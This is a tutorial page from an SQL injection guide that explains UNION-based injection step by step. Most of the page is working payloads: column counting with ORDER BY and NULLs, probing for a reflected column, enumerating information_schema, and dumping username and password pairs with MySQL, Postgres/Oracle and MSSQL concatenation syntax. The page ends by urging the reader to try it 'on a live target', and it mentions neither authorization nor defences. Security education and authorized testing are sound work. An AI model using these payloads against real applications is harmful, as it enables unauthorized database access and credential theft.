SQL Injection: The Complete Practical Guide

UNION-based SQL Injection

Extract data from other tables with UNION SELECT. Matching column count and types, finding a reflected column, and dumping credentials, step by step.

Published

UNION-based injection is the fastest way to steal data when the application prints query results back to you. You append a second SELECT with UNION and pull rows from any table straight onto the page.

What UNION does

UNION glues the results of two SELECTs into one result set. If the app shows you the first query's rows, a UNIONed second query's rows appear in the same place. The catch is that UNION is strict: both queries must return the same number of columns, and the types in each position must be compatible. So the first two steps are always counting columns and finding one you can print text in.

Rule 1: matching column count

Two reliable ways. Climb ORDER BY until it errors:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -     (keep going until "Unknown column" / out-of-range)

The last number that works is the column count. Or add NULLs until the query stops erroring:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

NULL is compatible with any type, so it isolates the count without fighting type errors.

Rule 2: matching data types

Even with the right count, each column you want to read must accept the data you put there. Numbers-only columns reject strings. NULL sidesteps this while counting. Once you know the count, you probe for a column that takes text.

Finding a reflected column

Swap each NULL for a recognizable string, one position at a time:

' UNION SELECT 'aaa',NULL,NULL-- -
' UNION SELECT NULL,'aaa',NULL-- -
' UNION SELECT NULL,NULL,'aaa'-- -

Whichever marker shows up on the page is both visible and text-compatible. That position is where your extracted data goes.

Extracting data from other tables

Confirm you can read real values, then enumerate:

' UNION SELECT NULL,@@version,NULL-- -                                   (MySQL version)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

Concatenating multiple values into one column

Often you only have one printable column but want several fields. Use the database's concatenation operator to pack them together:

MySQL:              ' UNION SELECT NULL,concat(username,':',password),NULL FROM users-- -
Postgres / Oracle:  ' UNION SELECT NULL,username||':'||password,NULL FROM users-- -
MSSQL:              ' UNION SELECT NULL,username+':'+password,NULL FROM users-- -

See examining the database for enumerating schemas efficiently, and the cheat sheet for per-DBMS concat syntax.

Put it into practice on a live target: count the columns, find the reflected one, dump the data.

← Back to SQL Injection: The Complete Practical Guide